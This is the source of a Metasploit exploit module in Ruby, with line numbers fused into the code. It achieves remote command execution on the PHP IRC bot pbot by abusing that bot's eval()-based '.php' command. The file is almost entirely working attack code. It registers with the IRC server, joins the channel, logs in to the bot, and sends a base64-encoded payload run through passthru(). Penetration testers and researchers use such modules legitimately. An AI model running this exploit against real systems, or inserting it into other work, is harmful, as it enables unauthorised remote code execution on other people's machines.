Path: blob/master/modules/exploits/multi/misc/pbot_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',15'Description' => %q{16This module allows remote command execution on the PHP IRC bot pbot by abusing17the usage of eval() in the implementation of the .php command. In order to work,18the data to connect to the IRC server and channel where find pbot must be provided.19The module has been successfully tested on the version of pbot analyzed by Jay20Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP21SP3.22},23'Author' => [24'evilcry', # pbot analysis'25'Jay Turla', # pbot analysis26'bwall', # aka @bwallHatesTwits, PoC27'juan vazquez' # Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31[ 'OSVDB', '84913' ],32[ 'EDB', '20168' ],33[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']34],35'Platform' => %w{unix win},36'Arch' => ARCH_CMD,37'Payload' => {38'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf39'BadChars' => '',40'DisableNops' => true,41'Compat' =>42{43'PayloadType' => 'cmd',44}45},46'Targets' => [47[ 'pbot', {} ]48],49'Privileged' => false,50'DisclosureDate' => '2009-11-02',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62Opt::RPORT(6667),63OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),64OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),65OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),66OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])67]68)69end7071def post_auth?72true73end7475def check76connect7778response = register(sock)79if response =~ /463/ or response =~ /464/80vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")81return Exploit::CheckCode::Unknown82end8384response = join(sock)85if not response =~ /353/ and not response =~ /366/86vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")87return Exploit::CheckCode::Unknown88end89response = pbot_login(sock)90quit(sock)91disconnect9293if response =~ /auth/ and response =~ /logged in/94return Exploit::CheckCode::Vulnerable95else96return Exploit::CheckCode::Safe97end98end99100def send_msg(sock, data)101sock.put(data)102data = ""103begin104read_data = sock.get_once(-1, 1)105while not read_data.nil?106data << read_data107read_data = sock.get_once(-1, 1)108end109rescue EOFError110end111data112end113114def register(sock)115msg = ""116117if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?118msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"119end120121if datastore['NICK'].length > 9122nick = rand_text_alpha(9)123print_error("The nick is longer than 9 characters, using #{nick}")124else125nick = datastore['NICK']126end127128msg << "NICK #{nick}\r\n"129msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"130131response = send_msg(sock, msg)132return response133end134135def join(sock)136join_msg = "JOIN #{datastore['CHANNEL']}\r\n"137response = send_msg(sock, join_msg)138return response139end140141def pbot_login(sock)142login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"143if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?144login_msg << " #{datastore['PBOT_PASSWORD']}"145end146login_msg << "\r\n"147response = send_msg(sock, login_msg)148return response149end150151def pbot_command(sock)152encoded = Rex::Text.encode_base64(payload.encoded)153command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"154response = send_msg(sock, command_msg)155return response156end157158def quit(sock)159quit_msg = "QUIT :bye bye\r\n"160sock.put(quit_msg)161end162163def exploit164connect165166print_status("#{rhost}:#{rport} - Registering with the IRC Server...")167response = register(sock)168if response =~ /463/ or response =~ /464/169print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")170return171end172173print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")174response = join(sock)175if not response =~ /353/ and not response =~ /366/176print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")177return178end179180print_status("#{rhost}:#{rport} - Registering with the pbot...")181response = pbot_login(sock)182if not response =~ /auth/ or not response =~ /logged in/183print_error("#{rhost}:#{rport} - Error registering with the pbot")184return185end186187print_status("#{rhost}:#{rport} - Exploiting the pbot...")188pbot_command(sock)189190quit(sock)191disconnect192end193end194195196